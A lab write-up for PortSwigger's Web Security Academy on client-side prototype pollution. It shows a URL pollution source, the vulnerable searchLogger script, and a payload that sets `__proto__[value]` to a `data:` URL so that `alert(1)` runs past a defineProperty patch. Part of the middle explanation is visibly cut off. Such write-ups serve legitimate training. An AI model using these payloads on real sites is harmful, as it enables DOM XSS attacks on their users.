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# Client-Side Prototype Pollution via Browser APIs
Client-Side Prototype Pollution via Browser APIs notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Client-Side Prototype Pollution Using Browser APIs
#### Lab Context
This lab is vulnerable to a **DOM XSS** triggered via a **client-side prototype pollution**. / The developers have identified a potential gadget and tried to fix it, but it is possible to **circle the patch**.
Objective:
* Find a **source** to add arbitrary properties to `Object.prototype`
* Identify a **gadget property** leading to JavaScript execution
* Combine both to trigger `alert()`
### 1) Source: `Object.prototype` Pollution via the URL
#### Injection from the Query String
Pollution is tested via URL:
```javascript
/?__proto__[foo]=bar
```
#### Control in Console
In the browser console:
```javascript
console.log({}.foo)
```
Result: `bar`/ This confirms that one manages to inject a property into the global prototype.
### 2) Understanding Impact: Changing the Behavior of Objects
Example prototype modification via an object:
```javascript
const jordan = {
}
jordan.__proto__.country = "Andorra"
```
Then:
```bash
console.log({}.country)
```
All objects now inherit `country`, which shows the overall effect of pollution.
### 3) Gadget: Dynamic Loading of a Script via Inherited Property
The interesting file is:
`/resources/js/searchLoggerConfigurable.js`
```javascript
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);
```
#### Key Script Behaviour (summary)
* It builds an object `config` containing:
* `params` (from URL)
* `transport_url` initialized to `false`
* It locks `config.transport_url` with `Object.defineProperty(... configurable:false, writable:false)`
* Then:
* if `config.transport_url` is truthy → it creates a `
```
`src` is controllable.
#### Step 2: Run JS via a `data:` URL
Payload final :
```javascript
/?__proto__[value]=data:,alert(1)
```
Observed result:
```javascript
```
The browser interprets `data:,alert(1)` and executes `alert(1)`: **DOM XSS successfully**.
---
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